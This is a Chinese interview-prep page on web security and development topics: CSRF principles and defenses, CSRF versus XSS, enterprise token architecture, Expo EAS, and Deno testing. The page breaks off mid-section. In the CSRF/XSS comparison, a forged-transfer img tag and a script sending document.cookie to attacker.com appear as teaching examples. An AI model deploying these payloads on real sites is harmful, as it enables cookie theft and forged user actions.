乐闻世界logo
搜索文章和话题

面试题手册

什么是 CSRF 攻击,它的基本原理和攻击条件是什么?

CSRF(Cross-Site Request Forgery)是一种常见的网络安全攻击方式,也被称为跨站请求伪造攻击。它利用用户在已认证网站中的身份,诱使用户在不知情的情况下向目标网站发送恶意请求。CSRF 攻击原理CSRF 攻击的核心原理是利用浏览器的自动发送 Cookie 机制。当用户登录网站 A 后,浏览器会保存网站 A 的认证 Cookie。如果用户在未登出的情况下访问了恶意网站 B,网站 B 可以构造一个指向网站 A 的请求,浏览器会自动附带网站 A 的 Cookie,使得网站 A 误以为这是用户主动发起的请求。CSRF 攻击条件用户已登录目标网站:攻击者需要利用用户的认证状态目标网站使用 Cookie 认证:浏览器会自动发送 Cookie目标网站没有 CSRF 防护机制:缺乏有效的请求验证用户访问恶意网站:通过点击链接、加载图片等方式触发与 XSS 的区别CSRF:利用用户的身份,伪造用户请求XSS:注入恶意脚本,在用户浏览器中执行CSRF 不需要获取用户的敏感信息,只需要利用用户的认证状态常见攻击场景修改用户密码转账操作发送邮件修改用户设置添加管理员权限防护措施CSRF Token:在表单中添加随机生成的 TokenSameSite Cookie 属性:限制 Cookie 的跨站发送验证 Referer 头:检查请求来源双重提交 Cookie:同时验证 Cookie 和请求参数CSRF 攻击的危害性在于它可以在用户不知情的情况下执行敏感操作,因此开发者必须重视并实施有效的防护措施。
阅读 0·2月21日 16:10

CSRF 和 XSS 攻击有什么区别?

CSRF(Cross-Site Request Forgery,跨站请求伪造)和 XSS(Cross-Site Scripting,跨站脚本攻击)是两种常见的 Web 安全漏洞,但它们的攻击原理和防御方式完全不同。核心区别1. 攻击原理CSRF:利用用户已认证的身份诱导用户向目标网站发送请求浏览器自动携带 Cookie不需要注入脚本代码XSS:在目标网站注入恶意脚本脚本在受害者浏览器中执行可以窃取 Cookie、会话令牌可以执行任意 JavaScript 代码2. 攻击目标CSRF:攻击服务器端利用用户的合法身份执行非预期的操作(如转账、修改密码)XSS:攻击客户端利用网站的漏洞窃取用户数据或控制用户浏览器3. 攻击方式CSRF:通过跨域请求(如 <img>、<form>、<iframe>)不需要用户交互(部分情况)请求看起来来自合法用户XSS:通过注入脚本代码(如 <script>、<onerror>)需要用户访问包含恶意代码的页面脚本在页面上下文中执行4. 危害范围CSRF:受限于用户权限只能执行用户有权限的操作无法直接读取响应内容XSS:可以窃取 Cookie、Token可以读取页面内容可以执行任意操作可以传播给其他用户5. 防御方式CSRF 防御:CSRF TokenSameSite Cookie验证 Referer/Origin双重提交 CookieXSS 防御:输入验证和过滤输出编码(HTML、JavaScript、URL)Content Security Policy (CSP)HttpOnly Cookie实际案例CSRF 攻击示例<!-- 恶意网站 --><img src="https://bank.com/transfer?to=attacker&amount=1000">XSS 攻击示例<!-- 恶意评论 --><script> fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>共同点都是跨站攻击都利用了浏览器的安全模型都需要用户访问恶意内容都可以通过安全编码预防总结CSRF 是"冒充用户",XSS 是"控制用户"。CSRF 利用用户的合法身份执行操作,XSS 注入脚本控制浏览器。理解两者的区别对于构建安全的 Web 应用至关重要。
阅读 0·2月21日 16:10

CSRF 防护的未来发展趋势有哪些,如何提前规划?

CSRF 防护技术随着 Web 安全威胁的不断演变而持续发展,了解未来趋势有助于提前规划和实施更有效的防护策略。CSRF 防护的未来发展趋势1. 浏览器原生安全增强1.1 SameSite Cookie 的普及// 未来所有浏览器都将默认使用 SameSite=Lax// 服务器端配置示例const cookieConfig = { httpOnly: true, secure: true, sameSite: 'lax', // 将成为默认值 partitioned: true // 新的分区 Cookie 属性};// CHIPS (Cookies Having Independent Partitioned State)res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'none', partitioned: true // 防止跨站追踪});1.2 私有网络访问控制// Private Network Access (PNA) API// 浏览器将限制对私有网络的跨站请求const pnaConfig = { 'private-network-access': { 'pre-flight': 'require', // 要求预检请求 'allow': 'same-origin' // 仅允许同源 }};// 服务器响应头res.setHeader('Access-Control-Allow-Private-Network', 'true');2. 人工智能驱动的防护2.1 机器学习攻击检测# 使用机器学习检测 CSRF 攻击import tensorflow as tffrom sklearn.ensemble import RandomForestClassifierclass CSRFAttackDetector: def __init__(self): self.model = self.load_model() self.feature_extractor = FeatureExtractor() def load_model(self): # 加载预训练的机器学习模型 return tf.keras.models.load_model('csrf_detector.h5') def detect_attack(self, request): # 提取请求特征 features = self.feature_extractor.extract(request) # 预测攻击概率 attack_probability = self.model.predict(features) return { 'is_attack': attack_probability > 0.7, 'confidence': attack_probability, 'attack_type': self.classify_attack(features) }class FeatureExtractor: def extract(self, request): return { 'request_frequency': self.get_request_frequency(request), 'user_agent_pattern': self.analyze_user_agent(request), 'referer_consistency': self.check_referer(request), 'token_entropy': self.calculate_token_entropy(request), 'geographic_anomaly': self.detect_geo_anomaly(request), 'time_pattern': self.analyze_time_pattern(request) }2.2 行为分析// 基于用户行为的动态防护class BehaviorBasedCSRFProtection { constructor() { this.userProfiles = new Map(); this.mlModel = new MLModel(); } async analyzeRequest(userId, request) { const profile = this.getUserProfile(userId); const behaviorScore = this.calculateBehaviorScore(profile, request); // 使用机器学习模型评估风险 const riskAssessment = await this.mlModel.predict({ behaviorScore, requestPattern: this.extractPattern(request), historicalData: profile.history }); return { allowed: riskAssessment.risk < 0.3, riskLevel: riskAssessment.risk, recommendedAction: this.getRecommendedAction(riskAssessment) }; } calculateBehaviorScore(profile, request) { const factors = { requestFrequency: this.compareFrequency(profile, request), timingPattern: this.compareTiming(profile, request), geographicConsistency: this.checkGeography(profile, request), deviceConsistency: this.checkDevice(profile, request) }; return this.weightedSum(factors); }}3. 零信任架构3.1 持续验证// 零信任架构下的 CSRF 防护class ZeroTrustCSRFProtection { constructor() { this.trustEngine = new TrustEngine(); this.contextAnalyzer = new ContextAnalyzer(); } async validateRequest(userId, request) { // 持续验证用户身份和上下文 const identity = await this.verifyIdentity(userId); const context = await this.contextAnalyzer.analyze(request); // 动态评估信任度 const trustScore = await this.trustEngine.evaluate({ identity, context, request, time: Date.now() }); // 根据信任度决定是否需要额外验证 if (trustScore < 0.5) { return this.requireAdditionalVerification(request); } return { allowed: true }; } async verifyIdentity(userId) { // 多因素身份验证 const factors = await Promise.all([ this.verifyPassword(userId), this.verifyDevice(userId), this.verifyBiometrics(userId), this.verifyBehavior(userId) ]); return { verified: factors.every(f => f.verified), confidence: this.calculateConfidence(factors) }; }}3.2 微分段// 微分段架构class MicrosegmentedCSRFProtection { constructor() { this.segments = new Map(); this.policies = new PolicyEngine(); } async validateRequest(userId, request) { // 确定请求所属的微分段 const segment = this.determineSegment(userId, request); // 应用分段策略 const policy = await this.policies.getPolicy(segment); // 验证请求是否符合策略 const compliance = await this.policies.validate(request, policy); if (!compliance.compliant) { return { allowed: false, reason: compliance.violation }; } return { allowed: true }; } determineSegment(userId, request) { // 基于多个因素确定分段 const factors = { userRole: this.getUserRole(userId), sensitivity: this.getRequestSensitivity(request), location: this.getUserLocation(userId), device: this.getDeviceType(userId) }; return this.segmentEngine.classify(factors); }}4. WebAssembly 加速4.1 高性能 Token 验证// 使用 WebAssembly 实现 Token 验证use wasm_bindgen::prelude::*;#[wasm_bindgen]pub struct CSRFValidator { secret_key: Vec<u8>,}#[wasm_bindgen]impl CSRFValidator { #[wasm_bindgen(constructor)] pub fn new(secret_key: String) -> Self { CSRFValidator { secret_key: secret_key.into_bytes(), } } #[wasm_bindgen] pub fn validate_token(&self, token: &str, timestamp: u64) -> bool { // 高性能的 Token 验证逻辑 let token_bytes = hex::decode(token).unwrap(); // 使用优化的加密算法 let expected = self.generate_expected_token(timestamp); // 恒定时间比较 self.constant_time_compare(&token_bytes, &expected) } fn constant_time_compare(&self, a: &[u8], b: &[u8]) -> bool { if a.len() != b.len() { return false; } let mut result = 0u8; for i in 0..a.len() { result |= a[i] ^ b[i]; } result == 0 }}4.2 客户端防护// WebAssembly 客户端防护class WasmCSRFProtection { constructor() { this.wasmModule = null; } async initialize() { // 加载 WebAssembly 模块 const response = await fetch('/csrf-protection.wasm'); const wasmBytes = await response.arrayBuffer(); this.wasmModule = await WebAssembly.instantiate(wasmBytes); } async validateToken(token, timestamp) { if (!this.wasmModule) { await this.initialize(); } // 调用 WebAssembly 函数 const { validate_token } = this.wasmModule.instance.exports; const tokenPtr = this.allocateString(token); const result = validate_token(tokenPtr, timestamp); this.freeMemory(tokenPtr); return result === 1; }}5. 量子安全加密5.1 后量子密码学// 使用后量子密码学算法const { Kyber } = require('pqcrypto');class QuantumSafeCSRFProtection { async generateToken() { // 使用 Kyber 密钥交换 const keyPair = await Kyber.keypair(); const ciphertext = await Kyber.encrypt(keyPair.publicKey); // 生成量子安全的 Token const token = { publicKey: keyPair.publicKey, ciphertext: ciphertext, timestamp: Date.now(), signature: await this.signToken(keyPair) }; return this.encodeToken(token); } async validateToken(encodedToken) { const token = this.decodeToken(encodedToken); // 验证签名 const signatureValid = await this.verifySignature(token); if (!signatureValid) { return false; } // 验证时间戳 const timeValid = this.validateTimestamp(token.timestamp); if (!timeValid) { return false; } // 使用 Kyber 解密验证 const decrypted = await Kyber.decrypt(token.ciphertext); return decrypted !== null; }}6. 去中心化身份6.1 DID 验证// 使用去中心化身份 (DID)const { DIDResolver, VerifiableCredential } = require('did-resolver');class DIDCSRFProtection { constructor() { this.didResolver = new DIDResolver(); this.credentialVerifier = new VerifiableCredential(); } async validateRequest(did, request) { // 解析 DID 文档 const didDocument = await this.didResolver.resolve(did); // 验证可验证凭证 const credential = await this.credentialVerifier.verify( request.credential, didDocument ); if (!credential.verified) { return { allowed: false, reason: 'Invalid credential' }; } // 检查凭证权限 const hasPermission = this.checkPermission( credential.claims, request.action ); return { allowed: hasPermission, credential: credential.claims }; } checkPermission(claims, action) { // 检查用户是否有执行该操作的权限 return claims.permissions && claims.permissions.includes(action); }}实施建议1. 渐进式升级// 渐进式实施新防护技术class ProgressiveCSRFProtection { constructor() { this.protectionLevels = [ { level: 1, methods: ['sameSite', 'csrfToken'] }, { level: 2, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis'] }, { level: 3, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis', 'mlDetection'] }, { level: 4, methods: ['sameSite', 'csrfToken', 'behaviorAnalysis', 'mlDetection', 'zeroTrust'] } ]; this.currentLevel = 1; } async upgradeProtection() { if (this.currentLevel >= this.protectionLevels.length) { return; } const nextLevel = this.protectionLevels[this.currentLevel]; // 逐步启用新的防护方法 for (const method of nextLevel.methods) { try { await this.enableMethod(method); console.log(`Enabled ${method}`); } catch (error) { console.error(`Failed to enable ${method}:`, error); // 回滚 await this.rollback(); return; } } this.currentLevel++; }}2. 监控和反馈// 持续监控和优化class CSRFProtectionMonitor { constructor() { this.metrics = new MetricsCollector(); this.optimizer = new ProtectionOptimizer(); } async monitor() { const metrics = await this.metrics.collect(); // 分析防护效果 const analysis = await this.optimizer.analyze(metrics); // 根据分析结果调整策略 if (analysis.recommendations.length > 0) { await this.applyRecommendations(analysis.recommendations); } // 生成报告 const report = this.generateReport(metrics, analysis); await this.sendReport(report); } async applyRecommendations(recommendations) { for (const recommendation of recommendations) { try { await this.optimizer.apply(recommendation); console.log(`Applied recommendation: ${recommendation.id}`); } catch (error) { console.error(`Failed to apply recommendation:`, error); } } }}CSRF 防护的未来将更加智能化、自动化和自适应,结合人工智能、零信任架构和新兴技术,提供更强大、更灵活的安全保护。
阅读 0·2月21日 16:10

企业级应用中如何设计和实现 CSRF 防护架构?

CSRF 防护在企业级应用中需要考虑架构、性能、可扩展性和合规性等多个方面,以确保在复杂的环境中提供有效的安全保护。企业级 CSRF 防护架构1. 集中式 Token 管理// 集中式 Token 服务class CentralizedTokenService { constructor(redisClient) { this.redis = redisClient; this.tokenExpiry = 3600; // 1 小时 } async generateToken(userId) { const token = crypto.randomBytes(32).toString('hex'); const key = `csrf:${userId}:${token}`; await this.redis.setex(key, this.tokenExpiry, '1'); return token; } async validateToken(userId, token) { const key = `csrf:${userId}:${token}`; const exists = await this.redis.exists(key); if (exists) { // 验证成功后删除 Token(一次性使用) await this.redis.del(key); return true; } return false; } async revokeUserTokens(userId) { const pattern = `csrf:${userId}:*`; const keys = await this.redis.keys(pattern); if (keys.length > 0) { await this.redis.del(...keys); } }}2. 分布式环境下的 CSRF 防护// 分布式 CSRF 防护中间件class DistributedCSRFProtection { constructor(tokenService, config) { this.tokenService = tokenService; this.config = config; } middleware() { return async (req, res, next) => { // 跳过安全方法 if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) { return next(); } // 获取用户 ID const userId = this.getUserId(req); if (!userId) { return res.status(401).send('Unauthorized'); } // 验证 Token const token = this.extractToken(req); if (!token) { return res.status(403).send('CSRF Token required'); } const isValid = await this.tokenService.validateToken(userId, token); if (!isValid) { return res.status(403).send('Invalid CSRF Token'); } next(); }; } getUserId(req) { // 从 Session 或 JWT 中获取用户 ID return req.user?.id || req.session?.userId; } extractToken(req) { // 从请求头或请求体中提取 Token return req.headers['x-csrf-token'] || req.body._csrf; }}性能优化策略1. Token 缓存// 使用 Redis 缓存 Tokenclass CachedTokenService { constructor(redisClient, localCache) { this.redis = redisClient; this.localCache = localCache; this.ttl = 3600; } async getToken(userId) { // 首先检查本地缓存 const cachedToken = this.localCache.get(`csrf:${userId}`); if (cachedToken) { return cachedToken; } // 从 Redis 获取 const token = await this.redis.get(`csrf:${userId}`); if (token) { this.localCache.set(`csrf:${userId}`, token, this.ttl); return token; } // 生成新 Token const newToken = crypto.randomBytes(32).toString('hex'); await this.redis.setex(`csrf:${userId}`, this.ttl, newToken); this.localCache.set(`csrf:${userId}`, newToken, this.ttl); return newToken; }}2. 批量 Token 验证// 批量验证多个请求的 Tokenclass BatchTokenValidator { constructor(tokenService) { this.tokenService = tokenService; this.batchSize = 100; } async validateBatch(requests) { const results = []; for (let i = 0; i < requests.length; i += this.batchSize) { const batch = requests.slice(i, i + this.batchSize); const batchResults = await Promise.all( batch.map(req => this.validateSingle(req)) ); results.push(...batchResults); } return results; } async validateSingle(request) { const { userId, token } = request; const isValid = await this.tokenService.validateToken(userId, token); return { userId, token, isValid, timestamp: Date.now() }; }}高可用性设计1. Token 服务冗余// 多个 Token 服务的负载均衡class RedundantTokenService { constructor(services) { this.services = services; this.currentService = 0; } async generateToken(userId) { const service = this.getNextService(); try { return await service.generateToken(userId); } catch (error) { // 尝试下一个服务 return await this.generateTokenWithRetry(userId, 3); } } async generateTokenWithRetry(userId, retries) { for (let i = 0; i < retries; i++) { const service = this.getNextService(); try { return await service.generateToken(userId); } catch (error) { if (i === retries - 1) { throw error; } } } } getNextService() { const service = this.services[this.currentService]; this.currentService = (this.currentService + 1) % this.services.length; return service; }}2. 故障转移// 故障检测和转移class FailoverTokenService { constructor(primaryService, backupService) { this.primary = primaryService; this.backup = backupService; this.isPrimaryHealthy = true; this.healthCheckInterval = 30000; // 30 秒 } startHealthCheck() { setInterval(async () => { try { await this.primary.ping(); this.isPrimaryHealthy = true; } catch (error) { console.error('Primary service unhealthy:', error); this.isPrimaryHealthy = false; } }, this.healthCheckInterval); } async generateToken(userId) { if (this.isPrimaryHealthy) { try { return await this.primary.generateToken(userId); } catch (error) { console.error('Primary service failed, using backup:', error); return await this.backup.generateToken(userId); } } return await this.backup.generateToken(userId); }}合规性和审计1. 审计日志// CSRF 操作审计日志class CSRFAuditLogger { constructor(logService) { this.logService = logService; } async logTokenGeneration(userId, token, metadata) { const auditLog = { event: 'CSRF_TOKEN_GENERATED', userId, tokenHash: this.hashToken(token), timestamp: new Date().toISOString(), metadata: { ip: metadata.ip, userAgent: metadata.userAgent, sessionId: metadata.sessionId } }; await this.logService.log(auditLog); } async logTokenValidation(userId, token, isValid, metadata) { const auditLog = { event: 'CSRF_TOKEN_VALIDATED', userId, tokenHash: this.hashToken(token), isValid, timestamp: new Date().toISOString(), metadata: { ip: metadata.ip, userAgent: metadata.userAgent, sessionId: metadata.sessionId, requestPath: metadata.requestPath } }; await this.logService.log(auditLog); } hashToken(token) { return crypto.createHash('sha256').update(token).digest('hex'); }}2. 合规性报告// 生成合规性报告class ComplianceReportGenerator { constructor(auditLogger) { this.auditLogger = auditLogger; } async generateReport(startDate, endDate) { const logs = await this.auditLogger.getLogs(startDate, endDate); return { summary: { totalTokensGenerated: logs.filter(l => l.event === 'CSRF_TOKEN_GENERATED').length, totalValidations: logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED').length, failedValidations: logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED' && !l.isValid).length, uniqueUsers: new Set(logs.map(l => l.userId)).size }, failedAttempts: this.analyzeFailedAttempts(logs), suspiciousActivity: this.detectSuspiciousActivity(logs), complianceStatus: this.checkCompliance(logs) }; } analyzeFailedAttempts(logs) { const failedLogs = logs.filter(l => l.event === 'CSRF_TOKEN_VALIDATED' && !l.isValid); return { byUser: this.groupBy(failedLogs, 'userId'), byIP: this.groupBy(failedLogs, l => l.metadata.ip), byTime: this.groupByTime(failedLogs) }; } detectSuspiciousActivity(logs) { const suspicious = []; // 检测异常的验证失败率 const userFailureRates = this.calculateUserFailureRates(logs); Object.entries(userFailureRates).forEach(([userId, rate]) => { if (rate > 0.5) { // 失败率超过 50% suspicious.push({ type: 'HIGH_FAILURE_RATE', userId, rate }); } }); return suspicious; } checkCompliance(logs) { // 检查是否符合安全标准 const checks = { hasAuditLogs: logs.length > 0, hasTokenExpiry: true, // 需要从配置检查 hasSecureTransmission: true, // 需要从配置检查 hasProperValidation: true }; return { compliant: Object.values(checks).every(v => v), checks }; }}监控和告警1. 实时监控// CSRF 攻击实时监控class CSRFMonitor { constructor(metricsService, alertService) { this.metrics = metricsService; this.alerts = alertService; this.thresholds = { failedValidationsPerMinute: 10, suspiciousIPRate: 5, unusualUserAgentRate: 3 }; } async monitorValidation(userId, token, isValid, metadata) { // 记录指标 this.metrics.increment('csrf.validations.total'); if (!isValid) { this.metrics.increment('csrf.validations.failed'); await this.checkFailureThresholds(userId, metadata); } else { this.metrics.increment('csrf.validations.success'); } } async checkFailureThresholds(userId, metadata) { const recentFailures = await this.getRecentFailures(60); // 最近 60 秒 if (recentFailures.length > this.thresholds.failedValidationsPerMinute) { await this.alerts.send({ severity: 'HIGH', message: 'High CSRF validation failure rate detected', details: { count: recentFailures.length, timeWindow: '60s' } }); } // 检查特定 IP 的失败率 const ipFailures = recentFailures.filter(f => f.metadata.ip === metadata.ip); if (ipFailures.length > this.thresholds.suspiciousIPRate) { await this.alerts.send({ severity: 'MEDIUM', message: 'Suspicious IP detected', details: { ip: metadata.ip, failures: ipFailures.length } }); } }}2. 仪表板// CSRF 安全仪表板class CSRFSecurityDashboard { constructor(monitor, reportGenerator) { this.monitor = monitor; this.reportGenerator = reportGenerator; } async getDashboardData(timeRange = '24h') { const report = await this.reportGenerator.generateReport( this.getStartDate(timeRange), new Date() ); const metrics = await this.monitor.getMetrics(timeRange); return { overview: { totalValidations: metrics.validations.total, successRate: this.calculateSuccessRate(metrics), activeUsers: report.summary.uniqueUsers }, security: { failedAttempts: report.summary.failedValidations, suspiciousActivity: report.suspiciousActivity.length, complianceStatus: report.complianceStatus.compliant }, trends: this.calculateTrends(metrics), alerts: this.getRecentAlerts() }; }}企业级 CSRF 防护需要综合考虑架构、性能、可用性和合规性,构建一个全面、可靠的安全防护体系。
阅读 0·2月21日 16:10

什么是Expo EAS?它包含哪些核心服务?

Expo EAS (Expo Application Services) 是Expo官方提供的一套云服务,用于简化Expo应用的构建、提交和更新流程。EAS提供了从开发到部署的完整解决方案。EAS核心服务:EAS Build(构建服务)EAS Build是云端构建服务,可以构建Android APK/IPA和iOS IPA文件。主要功能:云端构建,无需本地配置原生环境支持开发和生产两种构建配置自动处理签名和证书构建历史记录和日志查看并行构建支持使用方法:# 安装EAS CLInpm install -g eas-cli# 配置EASeas build:configure# 构建Android应用eas build --platform android# 构建iOS应用(需要Apple开发者账号)eas build --platform ios# 构建开发版本eas build --profile development --platform androidEAS Submit(提交服务)EAS Submit自动将构建好的应用提交到应用商店。支持的平台:Google Play StoreApple App Store使用方法:# 提交到Google Playeas submit --platform android --latest# 提交到App Storeeas submit --platform ios --latestEAS Update(更新服务)EAS Update允许通过OTA (Over-the-Air)方式更新应用,无需重新提交应用商店。主要功能:即时推送更新支持回滚到之前版本细粒度的更新控制更新分组和发布策略使用方法:# 创建更新eas update --branch production --message "Fix bug"# 查看更新历史eas update:list# 回滚更新eas update:rollback --branch productionEAS配置文件:在项目根目录创建eas.json配置文件:{ "cli": { "version": ">= 5.2.0" }, "build": { "development": { "developmentClient": true, "distribution": "internal" }, "preview": { "distribution": "internal", "android": { "buildType": "apk" } }, "production": { "android": { "buildType": "app-bundle" }, "ios": { "autoIncrement": true } } }, "submit": { "production": { "android": { "serviceAccountKeyPath": "./google-service-account.json" }, "ios": { "appleId": "your-apple-id@email.com", "ascAppId": "YOUR_APP_STORE_CONNECT_APP_ID", "appleTeamId": "YOUR_TEAM_ID" } } }}环境变量管理:EAS支持在构建时注入环境变量:# 设置环境变量eas secret:create --name API_KEY --value "your-api-key"# 在代码中使用const apiKey = process.env.API_KEY;最佳实践:CI/CD集成:将EAS Build集成到GitHub Actions或其他CI/CD流程中版本管理:使用Git分支和EAS Update分支对应管理不同环境构建优化:合理配置构建配置,区分开发和生产环境监控和日志:定期查看构建日志,及时发现和解决问题权限管理:为团队成员分配适当的EAS权限限制和注意事项:iOS构建需要Apple开发者账号和付费开发者计划构建时间取决于项目大小和服务器负载免费账户有构建次数限制某些原生功能可能需要额外配置EAS大大简化了Expo应用的部署流程,使开发者能够更专注于应用开发本身。
阅读 0·2月21日 16:08

Deno 的测试框架如何使用?

Deno 的测试框架提供了强大而简洁的测试功能,使得编写和运行测试变得简单高效。了解 Deno 的测试系统对于保证代码质量至关重要。测试框架概述Deno 内置了测试框架,无需安装额外的测试库。测试文件通常以 _test.ts 或 .test.ts 结尾。基本测试1. 编写第一个测试// math_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";function add(a: number, b: number): number { return a + b;}Deno.test("add function adds two numbers", () => { assertEquals(add(1, 2), 3); assertEquals(add(-1, 1), 0); assertEquals(add(0, 0), 0);});运行测试:deno test math_test.ts2. 测试异步代码// async_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";async function fetchData(id: number): Promise<{ id: number; name: string }> { // 模拟异步操作 await new Promise(resolve => setTimeout(resolve, 100)); return { id, name: `Item ${id}` };}Deno.test("fetchData returns correct data", async () => { const result = await fetchData(1); assertEquals(result.id, 1); assertEquals(result.name, "Item 1");});断言函数1. 常用断言import { assertEquals, assertNotEquals, assertExists, assertStrictEquals, assertStringIncludes, assertArrayIncludes, assertMatch, assertThrows, assertRejects,} from "https://deno.land/std@0.208.0/testing/asserts.ts";Deno.test("assertEquals examples", () => { assertEquals(1 + 1, 2); assertEquals("hello", "hello"); assertEquals({ a: 1 }, { a: 1 });});Deno.test("assertNotEquals examples", () => { assertNotEquals(1, 2); assertNotEquals("hello", "world");});Deno.test("assertExists examples", () => { assertExists("hello"); assertExists(42); assertExists({ key: "value" });});Deno.test("assertStrictEquals examples", () => { assertStrictEquals(1, 1); assertStrictEquals("hello", "hello"); // assertStrictEquals({ a: 1 }, { a: 1 }); // 会失败,因为引用不同});Deno.test("assertStringIncludes examples", () => { assertStringIncludes("hello world", "world"); assertStringIncludes("Deno is awesome", "Deno");});Deno.test("assertArrayIncludes examples", () => { assertArrayIncludes([1, 2, 3], [2]); assertArrayIncludes(["a", "b", "c"], ["b", "c"]);});Deno.test("assertMatch examples", () => { assertMatch("hello@deno.com", /@/); assertMatch("12345", /^\d+$/);});2. 测试异常import { assertThrows, assertRejects } from "https://deno.land/std@0.208.0/testing/asserts.ts";function divide(a: number, b: number): number { if (b === 0) { throw new Error("Division by zero"); } return a / b;}Deno.test("divide throws error on zero", () => { assertThrows( () => divide(10, 0), Error, "Division by zero" );});async function asyncDivide(a: number, b: number): Promise<number> { if (b === 0) { throw new Error("Division by zero"); } return a / b;}Deno.test("asyncDivide rejects on zero", async () => { await assertRejects( () => asyncDivide(10, 0), Error, "Division by zero" );});测试配置1. 测试选项Deno.test({ name: "test with options", fn: () => { // 测试代码 }, permissions: { read: true, net: true, }, sanitizeOps: true, sanitizeResources: true, sanitizeExit: true,});2. 超时设置Deno.test({ name: "slow test with timeout", fn: async () => { await new Promise(resolve => setTimeout(resolve, 2000)); }, timeout: 5000, // 5秒超时});3. 忽略测试Deno.test({ name: "ignored test", ignore: true, fn: () => { // 这个测试会被跳过 },});// 或者使用 only 只运行特定测试Deno.test({ name: "only this test", only: true, fn: () => { // 只运行这个测试 },});测试组织1. 测试套件// user_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";class User { constructor( public id: number, public name: string, public email: string ) {} greet(): string { return `Hello, ${this.name}!`; } isValid(): boolean { return this.id > 0 && this.name.length > 0 && this.email.includes("@"); }}Deno.test("User class - constructor", () => { const user = new User(1, "John", "john@example.com"); assertEquals(user.id, 1); assertEquals(user.name, "John"); assertEquals(user.email, "john@example.com");});Deno.test("User class - greet", () => { const user = new User(1, "John", "john@example.com"); assertEquals(user.greet(), "Hello, John!");});Deno.test("User class - isValid", () => { const validUser = new User(1, "John", "john@example.com"); assertEquals(validUser.isValid(), true); const invalidUser = new User(0, "", "invalid"); assertEquals(invalidUser.isValid(), false);});2. 测试钩子Deno.test({ name: "test with setup and teardown", async fn() { // Setup const db = await connectDatabase(); try { // Test const user = await db.createUser({ name: "John" }); assertEquals(user.name, "John"); } finally { // Teardown await db.close(); } }, sanitizeOps: false, sanitizeResources: false,});Mock 和 Stub1. 简单的 Mock// api_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";interface APIClient { fetchData(id: number): Promise<any>;}class RealAPIClient implements APIClient { async fetchData(id: number): Promise<any> { const response = await fetch(`https://api.example.com/data/${id}`); return response.json(); }}class MockAPIClient implements APIClient { private data: Map<number, any> = new Map(); setData(id: number, data: any) { this.data.set(id, data); } async fetchData(id: number): Promise<any> { return this.data.get(id); }}Deno.test("MockAPIClient returns mock data", async () => { const mockClient = new MockAPIClient(); mockClient.setData(1, { id: 1, name: "Test" }); const result = await mockClient.fetchData(1); assertEquals(result.id, 1); assertEquals(result.name, "Test");});2. 使用 Spy// spy_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";class Spy<T extends (...args: any[]) => any> { calls: Array<{ args: Parameters<T>; result: ReturnType<T> }> = []; wrap(fn: T): T { return ((...args: Parameters<T>) => { const result = fn(...args); this.calls.push({ args, result }); return result; }) as T; } callCount(): number { return this.calls.length; } calledWith(...args: Parameters<T>): boolean { return this.calls.some(call => JSON.stringify(call.args) === JSON.stringify(args) ); }}function processData(data: string, callback: (result: string) => void) { const result = data.toUpperCase(); callback(result);}Deno.test("processData calls callback", () => { const spy = new Spy<(result: string) => void>(); const callbackSpy = spy.wrap((result: string) => { console.log(result); }); processData("hello", callbackSpy); assertEquals(spy.callCount(), 1); assertEquals(spy.calledWith("HELLO"), true);});集成测试1. HTTP 服务器测试// server_test.tsimport { assertEquals } from "https://deno.land/std@0.208.0/testing/asserts.ts";import { serve } from "https://deno.land/std@0.208.0/http/server.ts";async function startTestServer(): Promise<{ port: number; stop: () => Promise<void> }> { const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); if (url.pathname === "/") { return new Response("Hello, World!"); } if (url.pathname === "/api/users") { return new Response(JSON.stringify([{ id: 1, name: "John" }]), { headers: { "Content-Type": "application/json" }, }); } return new Response("Not Found", { status: 404 }); }; const server = await serve(handler, { port: 0 }); // 使用随机端口 const port = (server.addr as Deno.NetAddr).port; return { port, stop: async () => { server.shutdown(); }, };}Deno.test("HTTP server responds to root", async () => { const { port, stop } = await startTestServer(); try { const response = await fetch(`http://localhost:${port}/`); assertEquals(response.status, 200); assertEquals(await response.text(), "Hello, World!"); } finally { await stop(); }});Deno.test("HTTP server returns JSON for /api/users", async () => { const { port, stop } = await startTestServer(); try { const response = await fetch(`http://localhost:${port}/api/users`); assertEquals(response.status, 200); assertEquals(response.headers.get("Content-Type"), "application/json"); const data = await response.json(); assertEquals(Array.isArray(data), true); assertEquals(data[0].name, "John"); } finally { await stop(); }});2. 文件系统测试// file_test.tsimport { assertEquals, assertExists } from "https://deno.land/std@0.208.0/testing/asserts.ts";async function createTestDirectory(): Promise<string> { const testDir = await Deno.makeTempDir(); return testDir;}Deno.test("file operations", async () => { const testDir = await createTestDirectory(); try { const filePath = `${testDir}/test.txt`; const content = "Hello, Deno!"; // 写入文件 await Deno.writeTextFile(filePath, content); // 读取文件 const readContent = await Deno.readTextFile(filePath); assertEquals(readContent, content); // 检查文件存在 const stat = await Deno.stat(filePath); assertExists(stat); assertEquals(stat.isFile, true); } finally { // 清理测试目录 await Deno.remove(testDir, { recursive: true }); }});测试覆盖率1. 生成覆盖率报告# 运行测试并生成覆盖率deno test --coverage=coverage# 生成覆盖率报告deno coverage coverage --lcov --output=coverage.lcov# 在浏览器中查看覆盖率deno coverage coverage --html2. 覆盖率配置// deno.json{ "compilerOptions": { "strict": true }, "test": { "include": ["src/**/*_test.ts", "tests/**/*.ts"], "exclude": ["node_modules/"] }}测试最佳实践1. 测试命名// 好的测试名称Deno.test("add returns sum of two numbers", () => {});Deno.test("divide throws error when dividing by zero", () => {});Deno.test("fetchData returns user object when given valid ID", () => {});// 不好的测试名称Deno.test("test add", () => {});Deno.test("it works", () => {});2. AAA 模式(Arrange-Act-Assert)Deno.test("calculateTotal returns correct total", () => { // Arrange - 准备测试数据 const items = [ { price: 10, quantity: 2 }, { price: 5, quantity: 3 }, ]; const expectedTotal = 